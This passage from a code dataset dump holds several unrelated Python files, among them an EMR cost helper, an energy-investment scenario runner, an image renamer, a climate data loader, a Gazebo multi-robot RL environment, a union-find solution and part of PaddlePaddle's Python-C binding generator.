float(price_dimensions_value['pricePerUnit']['USD'])\n if instance_type in self.ec2_prices:\n print('[ERROR] Instance price for {} already added'.format(instance_type), file=sys.stderr)\n sys.exit(1)\n\n self.ec2_prices[instance_type] = price\n\n def emr_hourly(self, instance_type):\n return self.emr_prices[instance_type]\n\n def ec2_hourly(self, instance_type):\n return self.ec2_prices[instance_type]\n","repo_name":"EQWorks/emr-cost","sub_path":"emr_cost/__init__.py","file_name":"__init__.py","file_ext":"py","file_size_in_byte":10133,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"48"} +{"seq_id":"30924892081","text":"# Scenario 1_1 runner: Renewable energy investment scenario\n\n\nimport irispie as ir\nimport os\n\n\nSCENARIO_NAME = \"Scenario 1_1 Renewable energy investment\"\n\n\nOUTPUT_FILE_NAME = os.path.join(\n \"scenario_data_files\", \"scenario_1_1.csv\",\n)\n\n\ndef run(model, input_db, sim_span, _, baseline_db, ):\n \n # Import the raw database and residuals from the baseline scenario\n db = input_db.copy()\n res_names = (n for n in model.get_names() if n.startswith(\"res_\"))\n for n in res_names:\n db[n] = baseline_db[n].copy()\n\n\n #\n # Scenario 1 tunes\n #\n\n start_sim = sim_span.start_date\n end_sim = sim_span.end_date\n\n\n # Set the size of investment in renewables per year until 2030 (bln USD)\n shock1 = 13.5\n\n # Set the size of investment in renewables per year from 2030 until 2050 (bln USD)\"\n shock2 = 23\n\n # Initial Renewable Energy capacity\n initial_rc = input_db[\"rc\"](start_sim)\n\n # Set the size of the renewable energy capacity in 2030 (Exojoules)\n shock3 = 1.26\n\n # Set the size of the renewable energy capacity in 2050 (Exojoules)\n shock4 = 6.5\n\n # Set share of renewable investment financed by the government\n shock5 = 100\n\n # Set the year when the shock is first introduced\n #YR1 = 2021\n\n # Enter number of years over which to spread the investment shock first period\n Y3 = 9\n\n # Enter number of years over which to spread the investment shock second period\n Y4 = 20\n\n # Create the investment periods:\n\n # 1st investment period\n start_date1 = start_sim #ir.yy(YR1)\n end_date1 = start_sim + Y3 #ir.yy(YR1)+Y3\n investment_span_1 = start_date1 >> end_date1\n\n # 2nd investment period\n start_date2 = start_sim + Y3 + 1\n end_date2 = start_sim + Y3 + Y4\n investment_span_2 = start_date2 >> end_date2\n\n # end: after investment period - not needed, this investment scenario is running until end_sim\n\n # Scenario 1 tunes:\n # Add shocks\n \n # private investment shock\n db[\"res_ipr\"][investment_span_1] = \\\n baseline_db[\"res_ipr\"] \\\n + input_db[\"ipr_eviews\"] \\\n + 0.18*((1-shock5/100)*shock1)/input_db[\"yen_S\"]*input_db[\"yer\"]/input_db[\"ipr\"]\n\n db[\"res_ipr\"][investment_span_2] = \\\n baseline_db[\"res_ipr\"] \\\n + input_db[\"ipr_eviews\"] \\\n + 0.05 * ((1-shock5/100)*shock2) / input_db[\"yen_S\"] * input_db[\"yer\"] / input_db[\"ipr\"]\n\n db[\"ipr_eviews\"] = 0\n\n # renewable energy shock\n db[\"res_rc\"][investment_span_1] = \\\n baseline_db[\"res_rc\"] + input_db[\"rc_eviews\"] + 0.3*(ir.log(shock3) - ir.log(initial_rc))/Y3\n\n db[\"res_rc\"][investment_span_2] = \\\n baseline_db[\"res_rc\"] + input_db[\"rc_eviews\"] + 1.1*(ir.log(shock4) - ir.log(shock3))/Y4\n\n db[\"rc_eviews\"] = 0\n\n # Exogenized variables\n # add extra government investment\n db[\"ogi\"][investment_span_1] = input_db[\"ogi\"] + input_db[\"exr\"] * shock1 * shock5/100\n\n db[\"ogi\"][investment_span_2] = input_db[\"ogi\"] + input_db[\"exr\"] * shock2 * shock5/100\n\n # change renewable energy price\n db[\"pr\"] = input_db[\"pr\"].copy()\n\n # Gross rate of change in pr\n input_db[\"roc_pr\"] = ir.roc(input_db[\"pr\"])\n\n for t in investment_span_1:\n db[\"pr\"][t] = db[\"pr\"](t-1) * input_db[\"roc_pr\"](t) - 0.2*(shock1 / input_db[\"yen_S\"](t))\n\n for t in investment_span_2:\n db[\"pr\"][t] = db[\"pr\"](t-1) * input_db[\"roc_pr\"](t) - 0.2*(shock2 / input_db[\"yen_S\"](t))\n\n plan = ir.PlanSimulate(model, sim_span, )\n plan.swap(sim_span, (\"ogi\", \"res_ogi\"), )\n plan.swap(sim_span, (\"pr\", \"res_pr\"), )\n # plan.swap(sim_span, (\"lrxf\", \"res_lrxf\"), ) # it is here to check how irispie LRXF formula works\n\n sim_db, *_ = model.simulate(db, sim_span, method=\"period\", plan=plan, )\n\n sim_db.to_sheet(\n OUTPUT_FILE_NAME,\n description_row=False,\n )\n\n return sim_db\n\n","repo_name":"OGResearch/escap-vnm","sub_path":"scenario_1_1.py","file_name":"scenario_1_1.py","file_ext":"py","file_size_in_byte":3853,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"48"} +{"seq_id":"12587159530","text":"import os\n\n\n#path = os.chdir(\"E:\\\\GarbageDatasets\\\\garbage_classification_6\\\\cardboard\")\npath = os.chdir(\"E:\\\\GarbageDatasets\\\\garbage_classification_9\\\\batteries\")\n\ni=946\nfor file in os.listdir(path):\n new_file_name = \"battery{}.jpg\".format(i)\n os.rename(file, new_file_name)\n i= i+1\n","repo_name":"alexbotone/GBG","sub_path":"dataset_unification/rename_batteries.py","file_name":"rename_batteries.py","file_ext":"py","file_size_in_byte":294,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"48"} +{"seq_id":"23385935883","text":"import numpy as np\n\ndim_NN =int(564)\ndim_NNout =int(140)\n\ndef newnorm(var, varm, varstd):\n dim=varm.size\n if dim > 1 :\n vara = var - varm[:, np.newaxis, np.newaxis]\n tmp = vara / varstd[:, np.newaxis, np.newaxis]\n else:\n tmp = ( var - varm ) / varstd\n return tmp\n\n\ndef data_loader (U,V,T, DSE, NM, NETDT, Z3, RHOI, PS, lat, lon, UTGWSPEC, VTGWSPEC):\n\n Nlat = U.shape[1]\n Nlon = U.shape[2]\n Ncol = Nlat*Nlon\n \n x_train = np.zeros([dim_NN,Ncol])\n y_train = np.zeros([dim_NNout,Ncol])\n\n\n x_train [0:70, : ] = U.reshape(70, Ncol)\n x_train [70:2*70, :] = V.reshape(70, Ncol)\n x_train [70+70:3*70,:] = T.reshape(70, Ncol)\n x_train [3*70:4*70, :] = DSE.reshape(70, Ncol)\n x_train [4*70:5*70, :] = NM.reshape(70, Ncol)\n x_train [5*70:6*70, :] = NETDT.reshape(70, Ncol)\n x_train [6*70:7*70, :] = Z3.reshape(70, Ncol)\n x_train [7*70:8*70+1, :] = RHOI.reshape(71, Ncol)\n x_train [8*70+1:8*70+2, :] = PS.reshape(1, Ncol)\n x_train [8*70+2:8*70+3, :] = np.transpose(np.tile(lat, (Nlon, 1))).reshape(1, Ncol)\n x_train [8*70+3:8*70+4, :] = np.tile(lon, (1, Nlat))\n\n y_train [0:70, :] = UTGWSPEC.reshape(70, Ncol)\n y_train [70:2*70, :] = VTGWSPEC.reshape(70, Ncol)\n\n return x_train,y_train\n\n","repo_name":"yqsun91/WACCM-Emulation","sub_path":"loaddata.py","file_name":"loaddata.py","file_ext":"py","file_size_in_byte":1208,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"48"} +{"seq_id":"25706082262","text":"# -*- coding: utf-8 -*-\n\"\"\"\nCreated on Thu Jun 10 01:47:03 2021\n\n@author: vijay\n\"\"\"\n\nimport Assignment3 as a3\n\n\ndef multiplyList (list2):\n size = len(list2)\n Sum = 1 \n for i in range(size):\n Sum = Sum * list2[i]\n \n print(Sum)\n \n\nmultiplyList(a3.listA)","repo_name":"ajaysingh13/Python-Projects-","sub_path":"multiply.py","file_name":"multiply.py","file_ext":"py","file_size_in_byte":275,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"48"} +{"seq_id":"72780923666","text":"import time \nimport _thread\n\nimport numpy as np\nimport pygazebo as gazebo\n\nfrom scenarios import Scenarios\nfrom utils import timed\n\n\nclass GazeboEnv(object):\n def __init__(self,\n num_agents, \n agent_size=0.4, \n env_size=8.0,\n\t\t\t\t neighbor_dist=10.0, \n neighbor_num=5, \n noise_level=1.0):\n\n self.num_agents = num_agents\n self.agent_size = agent_size\n self.env_size = env_size\n self.arrived_distance = 0.5\n self.noise_level = noise_level\n\n self.neighbor_dist = neighbor_dist\n self.neighbor_num = neighbor_num\n\n self.distance_matrix = np.zeros(\n (self.num_agents, self.num_agents)\n )\n\n self.robot_pos = np.zeros((self.num_agents, 3))\n self.robot_noise_pos = np.zeros((self.num_agents, 3))\n self.robot_last_pos = np.zeros((self.num_agents, 3))\n self.robot_vel = np.zeros((self.num_agents, 3))\n self.robot_noise_vel = np.zeros((self.num_agents, 3))\n\n self.obs = []\n\n self.scenarios = Scenarios(\n self.num_agents, \n self.agent_size, self.env_size\n )\n\n gazebo.initialize()\n self._world = gazebo.new_world_from_file(\n \"../world/multi_robots.world\"\n )\n\n self._agents = []\n for i in range(self.num_agents):\n name = \"Robot_%03d\" % (i)\n self._agents.append(\n self._world.get_agent(name)\n )\n\n self._goals = []\n for i in range(self.num_agents):\n name = \"Goal_%03d\" % (i)\n self._goals.append(\n self._world.get_model(name)\n )\n\n def _get_pose(self, agents):\n poses = []\n for agent in agents:\n pose, _ = agent.get_pose()\n poses.append(np.array(pose))\n return np.array(poses)\n\n def _get_twist(self, agents):\n twists = []\n for agent in agents:\n linear, _ = agent.get_twist()\n twists.append(np.array(linear))\n return np.array(twists)\n\n def _set_pose(self, agents, poses):\n for agent, pos in zip(agents, poses):\n agent.set_pose(\n ((pos[0], pos[1], pos[2]), (0, 0, 0))\n )\n\n def _set_twist(self, agents, twists):\n for agent, twist in zip(agents, twists):\n agent.set_twist(\n ((twist[0], twist[1], twist[2]), (0, 0, 0))\n )\n\n def _collision_thread(self, ind_a): \n def angle(ind_a, ind_b):\n ab = self.robot_pos[ind_a] - self.robot_pos[ind_b]\n ba = -ab\n angle_a = ab.dot(self.robot_vel[ind_a])/(np.sqrt(ab.dot(ab))*(np.sqrt(self.robot_vel[ind_a].dot(self.robot_vel[ind_a]))))\n angle_b = ba.dot(self.robot_vel[ind_b])/(np.sqrt(ba.dot(ba))*(np.sqrt(self.robot_vel[ind_b].dot(self.robot_vel[ind_b]))))\n return angle_a, angle_b\n\n for ind_b in range(ind_a+1, self.num_agents): # Do not campare with self\n self.distance_matrix[ind_a,ind_b] = self.distance_matrix[ind_b, ind_a] = np.linalg.norm(self.robot_pos[ind_a] - self.robot_pos[ind_b])\n if self.distance_matrix[ind_a, ind_b] < self.agent_size:\n self.collision_flag[ind_a] = True\n self.collision_flag[ind_b] = True\n\n if ind_a == self.num_agents -1:\n self.thread_lock_collision = 0\n _thread.exit()\n\n #collision detection main function \n def _collision_detection(self):\n for ind_a in range(self.num_agents):\n _thread.start_new_thread(self._collision_thread, (ind_a, ))\n \n def _arrived_check(self):\n for i, (robot, goal) in enumerate(zip(self.robot_pos, self.goals)):\n if np.linalg.norm(robot - goal) < self.arrived_distance:\n self.arrived_flag[i] = True\n self.thread_lock_arrive = 0\n _thread.exit()\n\n def _get_obses(self, poses, vels, goals):\n def get_neighbors(i, poses):\n inds = np.delete(np.arange(self.num_agents),i)\n ds = np.delete(self.distance_matrix[:,i],i)\n return inds, ds\n\n def sort_neighbors(i, inds, ds, poses, vels):\n ob = []\n pos, vel = poses[i], vels[i]\n sorted_inds = inds[np.lexsort((inds, ds))]\n if len(inds) < self.neighbor_num:\n for ind in sorted_inds:\n ob.extend((poses[ind] - pos) / self.neighbor_dist)\n ob.extend(vels[ind] - vel)\n for _ in range(self.neighbor_num - len(inds)):\n ob.extend(np.ones(6, dtype=np.float32))\n else:\n for i, ind in enumerate(sorted_inds):\n if i < self.neighbor_num:\n ob.extend((poses[ind] - pos) / self.neighbor_dist)\n ob.extend(vels[ind] - vel)\n return ob\n\n self.obs = []\n for i in range(len(poses)):\n inds, ds = get_neighbors(i, poses)\n ob = sort_neighbors(i, inds, ds, poses, vels)\n velocity = goals[i] - poses[i]\n speed = np.linalg.norm(velocity)\n pref_vel = (velocity) / (speed) if speed > 1.0 else (velocity)\n ob.extend(pref_vel)\n self.obs.append(ob)\n\n if self.thread_lock_ob:\n self.thread_lock_ob = 0\n _thread.exit()\n\n def reset(self):\n self.thread_lock_ob = 0\n self.starts, self.goals = self.scenarios.random_scene()\n self.perfect_distance = [np.linalg.norm(s - g) for s, g in zip(self.starts, self.goals)]\n \n self._set_pose(self._agents, self.starts)\n self._set_pose(self._goals, self.goals)\n\n self.collision_flag = [False for _ in range(self.num_agents)]\n self.arrived_flag = [False for _ in range(self.num_agents)]\n\n self.robot_pos = self._get_pose(self._agents)\n self.robot_vel = self._get_twist(self._agents)\n self.robot_noise_pos = self.robot_pos.copy() + np.random.normal(\n scale=self.noise_level, size=self.robot_pos.shape)\n self.robot_noise_vel = self.robot_vel.copy() + np.random.normal(\n scale=self.noise_level, size=self.robot_vel.shape)\n\n self._get_obses(\n self.robot_noise_pos, \n self.robot_noise_vel,\n self.goals)\n\n self.robot_last_pos = self.robot_pos.copy()\n\n self.trajectory = np.zeros(self.num_agents)\n\n return self.obs\n \n def step(self, acts):\n def wait_thread():\n while True:\n if self.thread_lock_arrive == 0 and self.thread_lock_collision == 0:\n break\n def wait_ob_thread():\n while True:\n if self.thread_lock_ob == 0:\n break\n\n self.thread_lock_arrive = 1\n self.thread_lock_collision = 1\n self.thread_lock_ob = 1\n\n # with timed(\"gazebo\"):\n self.robot_pos = self._get_pose(self._agents)\n self.robot_vel = self._get_twist(self._agents)\n self.robot_noise_pos = self.robot_pos.copy() + np.random.normal(\n scale=self.noise_level, size=self.robot_pos.shape)\n self.robot_noise_vel = self.robot_vel.copy() + np.random.normal(\n scale=self.noise_level, size=self.robot_vel.shape)\n # acts = self.get_action()\n self.take_acts(acts)\n # with timed(\"check\"):\n self._collision_detection()\n _thread.start_new_thread(self._arrived_check, ())\n _thread.start_new_thread(\n self._get_obses, \n (self.robot_noise_pos,\n self.robot_noise_vel,\n self.goals))\n wait_thread() # wait until collision detection thread finished\n rewards, dones = self.reward_function(acts)\n self.get_trajectory()\n self.robot_last_pos = self.robot_pos.copy()\n wait_ob_thread() # wait until obses get\n\n # with timed(\"step\"):\n self._world.step(10)\n\n return self.obs, rewards, dones\n\n def take_acts(self, acts):\n self._set_twist(self._agents, acts)\n\n def reward_function(self, acts):\n rewards, dones = [], []\n for act, r_last_pos, r_pos, g_pos, arrive, collision in \\\n zip(acts, self.robot_last_pos, self.robot_pos, self.goals,\n self.arrived_flag, self.collision_flag):\n if arrive:\n dones.append(True)\n rewards.append(20.0)\n elif collision:\n dones.append(True)\n rewards.append(-20.0)\n else:\n dones.append(False)\n last_d = np.linalg.norm(r_last_pos - g_pos)\n curr_d = np.linalg.norm(r_pos - g_pos)\n approaching_reward = 2.5 * (last_d - curr_d)\n # energy_reward = -0.5 * np.linalg.norm(act)\n reward = approaching_reward\n rewards.append(reward)\n\n rewards = np.array(rewards)\n return rewards, dones \n\n def get_action(self):\n acts = []\n for goal, pos in zip(self.goals, self.robot_pos):\n velocity = goal - pos\n speed = np.linalg.norm(velocity)\n pref_vel = (velocity) / (speed) if speed > 1.0 else (velocity)\n acts.append(pref_vel)\n return acts\n \n def get_trajectory(self):\n robot_pos = np.asarray(self.robot_pos)\n robot_last_pos = np.asarray(self.robot_last_pos)\n distance = np.linalg.norm(robot_pos-robot_last_pos, axis=1)\n self.trajectory += distance\n \nif __name__ == \"__main__\":\n env = GazeboEnv(num_agents=10)\n while True:\n env.reset()\n while True:\n _, _, dones = env.step()\n if all(dones):\n break","repo_name":"Freedom-Guo/Pygazebo_TurtleBot3","sub_path":"scripts/gazebo_env.py","file_name":"gazebo_env.py","file_ext":"py","file_size_in_byte":9799,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"48"} +{"seq_id":"69813824466","text":"import sys\ninput = sys.stdin.readline\nMAX = 200_000 + 1\n\n\ndef find(u):\n if u != p[u]:\n p[u] = find(p[u])\n return p[u]\n\n\ndef union(u, v):\n r1, r2 = find(u), find(v)\n p[r2] = r1\n\n count[r1] += count[r2]\n\n\nT = int(input())\nfor _ in range(T):\n n = int(input())\n p = [i for i in range(MAX)]\n count = [1 for _ in range(MAX)]\n seq = 0\n key = {}\n\n for _ in range(n):\n a, b = input().split()\n if a not in key:\n key[a] = seq\n seq += 1\n if b not in key:\n key[b] = seq\n seq += 1\n A, B = key[a], key[b]\n\n if find(A) != find(B):\n union(A, B)\n\n root = find(B)\n print(count[root])\n","repo_name":"ddraa/Algorithm","sub_path":"Disjoint_set/4195.py","file_name":"4195.py","file_ext":"py","file_size_in_byte":709,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"48"} +{"seq_id":"16816197307","text":"import os\nimport argparse\nimport logging\nfrom codegen_utils import FunctionGeneratorBase, YamlGeneratorBase\nfrom codegen_utils import yaml_types_mapping\nfrom codegen_utils import ReadFwdFile, IsVectorTensorType, GetForwardFunctionName\nfrom codegen_utils import ParseYamlForward, GetInplacedFunctionName\n\n###########################\n## Global Configurations ##\n###########################\nskipped_forward_api_names = set([])\n\n\ndef SkipAPIGeneration(forward_api_name):\n return (forward_api_name in skipped_forward_api_names)\n\n\natype_to_parsing_function = {\n \"bool\": \"CastPyArg2Boolean\",\n \"int\": \"CastPyArg2Int\",\n \"long\": \"CastPyArg2Long\",\n \"int64_t\": \"CastPyArg2Long\",\n \"float\": \"CastPyArg2Float\",\n \"std::string\": \"CastPyArg2String\",\n \"std::vector\": \"CastPyArg2Booleans\",\n \"std::vector\": \"CastPyArg2Ints\",\n \"std::vector\": \"CastPyArg2Longs\",\n \"std::vector\": \"CastPyArg2Longs\",\n \"std::vector\": \"CastPyArg2Floats\",\n \"std::vector\": \"CastPyArg2Float64s\",\n \"std::vector\": \"CastPyArg2Strings\",\n \"paddle::experimental::Scalar\": \"CastPyArg2Scalar\",\n \"paddle::experimental::IntArray\": \"CastPyArg2IntArray\",\n \"paddle::Place\": \"CastPyArg2Place\",\n \"paddle::experimental::DataType\": \"CastPyArg2DataType\",\n}\n\n\ndef FindParsingFunctionFromAttributeType(atype):\n if atype not in atype_to_parsing_function.keys():\n assert False, f\"Unable to find {atype} in atype_to_parsing_function.\"\n\n return atype_to_parsing_function[atype]\n\n\n##########################\n## Refactored Functions ##\n##########################\nPARSE_PYTHON_C_TENSORS_TEMPLATE = \\\n\" auto {} = {}(\\\"{}\\\", \\\"{}\\\", args, {}, {});\\n\"\n\n\nPARSE_PYTHON_C_ARGS_TEMPLATE = \\\n\"\"\" PyObject* {}_obj = PyTuple_GET_ITEM(args, {});\\n\n {} {} = {}({}_obj, \\\"{}\\\", {});\\n\"\"\"\n\n\nRECORD_EVENT_TEMPLATE = \\\n\" paddle::platform::RecordEvent {}(\\\"{} {}\\\", paddle::platform::TracerEventType::Operator, 1);\"\n\n\nRETURN_INPLACE_PYOBJECT_TEMPLATE = \\\n\"\"\"\n ssize_t arg_id = GetIdxFromCoreOpsInfoMap(core_ops_final_state_args_info, \\\"final_state_{}\\\", \\\"{}\\\");\n ssize_t return_id = GetIdxFromCoreOpsInfoMap(core_ops_final_state_returns_info, \\\"final_state_{}\\\", \\\"{}\\\");\n return ToPyObject(out, return_id, args, arg_id);\n\"\"\"\n\n\nPYTHON_C_FUNCTION_TEMPLATE = \\\n\"\"\"\nstatic PyObject * eager_final_state_api_{}(PyObject *self, PyObject *args, PyObject *kwargs)\n{{\n {}\n\n PyThreadState *tstate = nullptr;\n try\n {{\n VLOG(6) << \"Running Eager Final State API: {}\";\n\n // Get EagerTensors from args\n{}\n\n // Parse Attributes\n{}\n\n tstate = PyEval_SaveThread();\n\n // Set Device ID\n{}\n \n auto out = {}({});\n \n PyEval_RestoreThread(tstate);\n tstate = nullptr;\n{}\n }}\n catch(...) {{\n if (tstate) {{\n PyEval_RestoreThread(tstate);\n }}\n ThrowExceptionToPython(std::current_exception());\n return nullptr;\n }}\n}}\n\n\"\"\"\n\nFUNCTION_SET_DEVICE_TEMPLATE = \\\n\"\"\"\n {}\n if (paddle::platform::is_gpu_place(place)) {{\n#if defined(PADDLE_WITH_CUDA) || defined(PADDLE_WITH_HIP)\n phi::backends::gpu::SetDeviceId(place.device);\n VLOG(1) <<\"CurrentDeviceId: \" << phi::backends::gpu::GetCurrentDeviceId() << \" from \" << (int)place.device;\n#else\n PADDLE_THROW(paddle::platform::errors::PreconditionNotMet(\n \"PaddlePaddle should compile with GPU if use CUDAPlace.\"));\n#endif\n }}\n\"\"\"\n\nFUNCTION_NAME_TEMPLATE = \\\n\"{}{}{}\"\n\n\nPYTHON_C_FUNCTION_REG_TEMPLATE = \\\n\"\"\"\n{{\\\"final_state_{}{}\\\", (PyCFunction)(void(*)(void)) {}eager_final_state_api_{}, METH_VARARGS | METH_KEYWORDS, \\\"C++ interface function for {} in dygraph.\\\"}}\n\n\"\"\"\n\n\nPYTHON_C_WRAPPER_TEMPLATE = \\\n\"\"\"\n#pragma once\n\n#include \"pybind11/detail/common.h\"\n#include \"paddle/phi/api/all.h\"\n#include \"paddle/phi/api/lib/dygraph_api.h\"\n#include \"paddle/phi/common/backend.h\"\n#include \"paddle/phi/common/data_type.h\"\n#include \"paddle/phi/common/scalar.h\"\n#include \"paddle/phi/common/int_array.h\"\n#include \"paddle/phi/api/include/sparse_api.h\"\n#include \"paddle/phi/api/include/strings_api.h\"\n#include \"paddle/fluid/pybind/op_function_common.h\"\n#include \"paddle/fluid/eager/api/generated/eager_generated/forwards/dygraph_functions.h\"\n#include \"paddle/fluid/pybind/exception.h\"\n#include \"paddle/fluid/platform/profiler/event_tracing.h\"\n#include \n\nnamespace paddle {{\nnamespace pybind {{\n\n{}\n\nstatic PyMethodDef EagerFinalStateMethods[] = {{\n {}\n}};\n\n}} // namespace pybind\n}} // namespace paddle\n\"\"\"\n\n\nCORE_OPS_INFO = \\\n\"\"\"\nstatic PyObject * eager_get_final_state_core_ops_args_info(PyObject *self) {\n PyThreadState *tstate = nullptr;\n try\n {\n return ToPyObject(core_ops_final_state_args_info);\n }\n catch(...) {\n if (tstate) {\n PyEval_RestoreThread(tstate);\n }\n ThrowExceptionToPython(std::current_exception());\n return nullptr;\n }\n}\n\nstatic PyObject * eager_get_final_state_core_ops_args_type_info(PyObject *self) {\n PyThreadState *tstate = nullptr;\n try\n {\n return ToPyObject(core_ops_final_state_args_type_info);\n }\n catch(...) {\n if (tstate) {\n PyEval_RestoreThread(tstate);\n }\n ThrowExceptionToPython(std::current_exception());\n return nullptr;\n }\n}\n\nstatic PyObject * eager_get_final_state_core_ops_returns_info(PyObject *self) {\n PyThreadState *tstate = nullptr;\n try\n {\n return ToPyObject(core_ops_final_state_returns_info);\n }\n catch(...) {\n if (tstate) {\n PyEval_RestoreThread(tstate);\n }\n ThrowExceptionToPython(std::current_exception());\n return nullptr;\n }\n}\n\"\"\"\n\n\nCORE_OPS_INFO_REGISTRY = \\\n\"\"\"\n {\\\"get_final_state_core_ops_args_info\\\",\n (PyCFunction)(void(*)(void))eager_get_final_state_core_ops_args_info, METH_NOARGS,\n \\\"C++ interface function for eager_get_final_state_core_ops_args_info.\\\"},\n {\\\"get_final_state_core_ops_args_type_info\\\",\n (PyCFunction)(void(*)(void))eager_get_final_state_core_ops_args_type_info,\n METH_NOARGS,\n \\\"C++ interface function for eager_get_final_state_core_ops_args_type_info.\\\"},\n {\\\"get_final_state_core_ops_returns_info\\\",\n (PyCFunction)(void(*)(void))eager_get_final_state_core_ops_returns_info,\n METH_NOARGS, \\\"C++ interface function for eager_get_final_state_core_ops_returns_info.\\\"},\n\"\"\"\n\nNAMESPACE_WRAPPER_TEMPLATE = \\\n\"\"\"namespace {} {{\n {}\n}}\n\"\"\"\n\n\n#######################\n## Generator Classes ##\n#######################\nclass PythonCSingleFunctionGenerator(FunctionGeneratorBase):\n def __init__(self, forward_api_contents, namespace):\n # Members from Parent:\n #self.namespace\n #self.forward_api_contents\n #self.forward_api_name\n #self.orig_forward_inputs_list\n #self.orig_forward_attrs_list\n #self.orig_forward_returns_list\n #self.forward_inputs_position_map\n #self.forward_outputs_position_map\n #self.optional_inputs\n #self.no_need_buffers\n #self.intermediate_outputs \n #self.inplace_map\n FunctionGeneratorBase.__init__(self, forward_api_contents, namespace)\n\n self.is_forward_only = True\n\n # Generated Results\n self.python_c_function_str = \"\"\n self.python_c_function_reg_str = \"\"\n\n def CollectIsForwardOnly(self):\n forward_api_contents = self.forward_api_contents\n self.is_forward_only = False if 'backward' in forward_api_contents.keys(\n ) else True\n\n def GeneratePythonCFunction(self):\n namespace = self.namespace\n inplace_map = self.inplace_map\n forward_api_name = self.forward_api_name\n orig_forward_attrs_list = self.orig_forward_attrs_list\n forward_inputs_position_map = self.forward_inputs_position_map\n forward_outputs_position_map = self.forward_outputs_position_map\n optional_inputs = self.optional_inputs\n is_forward_only = self.is_forward_only\n\n # Generate Python-C Tensors Parsing Logic\n get_eager_tensor_str = \"\"\n for name, (ttype, pos) in forward_inputs_position_map.items():\n is_optional = (name in optional_inputs)\n if IsVectorTensorType(ttype):\n get_eager_tensor_str += PARSE_PYTHON_C_TENSORS_TEMPLATE.format(\n name, \"GetTensorListFromArgs\", forward_api_name, name, pos,\n \"false\")\n else:\n if is_optional:\n get_eager_tensor_str += PARSE_PYTHON_C_TENSORS_TEMPLATE.format(\n name, \"GetOptionalTensorFromArgs\", forward_api_name,\n name, pos, \"true\")\n else:\n get_eager_tensor_str += PARSE_PYTHON_C_TENSORS_TEMPLATE.format(\n name, \"GetTensorFromArgs\", forward_api_name, name, pos,\n \"false\")\n\n parse_attributes_str = \"\"\n expected_place_str = \"auto place = egr::Controller::Instance().GetExpectedPlace();\\n\"\n\n # Generate Python-C Attributes Parsing Logic\n for name, atype, _, pos in orig_forward_attrs_list:\n parsing_function_name = FindParsingFunctionFromAttributeType(atype)\n # Used input argument place if specified from Python frontend.\n if len(expected_place_str\n ) != 0 and parsing_function_name == \"CastPyArg2Place\":\n expected_place_str = \"\"\n assert name == \"place\", \"Only support 'place' as template argument name in FUNCTION_SET_DEVICE_TEMPLATE.\"\n\n parse_attributes_str += PARSE_PYTHON_C_ARGS_TEMPLATE.format(\n name, pos, atype, name, parsing_function_name, name,\n forward_api_name, pos)\n\n set_device_str = FUNCTION_SET_DEVICE_TEMPLATE.format(expected_place_str)\n\n # Generate Dygraph Function Call Logic\n num_args = len(forward_inputs_position_map.keys()) + len(\n orig_forward_attrs_list)\n dygraph_function_call_list = [\"\" for i in range(num_args)]\n for name, (_, pos) in forward_inputs_position_map.items():\n dygraph_function_call_list[pos] = f\"{name}\"\n for name, _, _, pos in orig_forward_attrs_list:\n dygraph_function_call_list[pos] = f\"{name}\"\n dygraph_function_call_str = \",\".join(dygraph_function_call_list)\n\n # Generate Python-C Function Definitions \n if is_forward_only:\n fwd_function_name = FUNCTION_NAME_TEMPLATE.format(\n \"paddle::experimental::\", namespace, forward_api_name)\n else:\n fwd_function_name = FUNCTION_NAME_TEMPLATE.format(\n \"::\", namespace, GetForwardFunctionName(forward_api_name))\n\n return_str = \" return ToPyObject(out);\"\n\n # Generate Record Event for performance profiling\n pythonc_record_event_str = RECORD_EVENT_TEMPLATE.format(\n \"pythonc_record_event\", forward_api_name, \"pybind_imperative_func\")\n self.python_c_function_str = PYTHON_C_FUNCTION_TEMPLATE.format(\n forward_api_name, pythonc_record_event_str, forward_api_name,\n get_eager_tensor_str, parse_attributes_str, set_device_str,\n fwd_function_name, dygraph_function_call_str, return_str)\n\n # Set prefix of forward_api_name to avoid conflicts\n prefix = self.namespace.strip(\"::\")\n forward_api_name_prefix = \"\" if prefix == \"\" else prefix + \"_\"\n # Generate Python-C Function Registration\n self.python_c_function_reg_str = PYTHON_C_FUNCTION_REG_TEMPLATE.format(\n forward_api_name_prefix, forward_api_name, namespace,\n forward_api_name, forward_api_name)\n\n if inplace_map:\n inplaced_forward_api_name = GetInplacedFunctionName(\n self.forward_api_name)\n if is_forward_only:\n inplaced_fwd_function_name = FUNCTION_NAME_TEMPLATE.format(\n \"paddle::experimental::\", namespace,\n inplaced_forward_api_name)\n else:\n inplaced_fwd_function_name = FUNCTION_NAME_TEMPLATE.format(\n \"::\", namespace,\n GetForwardFunctionName(inplaced_forward_api_name))\n\n assert len(\n inplace_map\n ) == 1, f\"size of inplace_map must be 1, but inplace_map of \\\"{forward_api_name}\\\" op got {len(inplace_map)}\"\n for inplace_input, inplace_output in inplace_map.items():\n return_str = RETURN_INPLACE_PYOBJECT_TEMPLATE.format(\n inplaced_forward_api_name, inplace_input,\n inplaced_forward_api_name, inplace_output)\n break\n\n self.python_c_function_str += PYTHON_C_FUNCTION_TEMPLATE.format(\n inplaced_forward_api_name, pythonc_record_event_str,\n inplaced_forward_api_name, get_eager_tensor_str,\n parse_attributes_str, set_device_str,\n inplaced_fwd_function_name, dygraph_function_call_str,\n return_str)\n\n # Generate Python-C Function Registration\n self.python_c_function_reg_str += \"\\n,\" + PYTHON_C_FUNCTION_REG_TEMPLATE.format(\n forward_api_name_prefix, inplaced_forward_api_name, namespace,\n inplaced_forward_api_name, inplaced_forward_api_name)\n\n def run(self):\n # Initialized is_forward_only\n self.CollectIsForwardOnly()\n\n # Initialized optional_inputs\n self.ParseDispensable()\n\n # Initialized inplace_map\n self.ParseInplaceInfo()\n\n # Initialized orig_forward_inputs_list, orig_forward_returns_list, orig_forward_attrs_list\n self.CollectOriginalForwardInfo()\n logging.info(\n f\"Parsed Original Forward Inputs List: \\n{self.orig_forward_inputs_list}\"\n )\n logging.info(\n f\"Prased Original Forward Attrs List: \\n{self.orig_forward_attrs_list}\"\n )\n 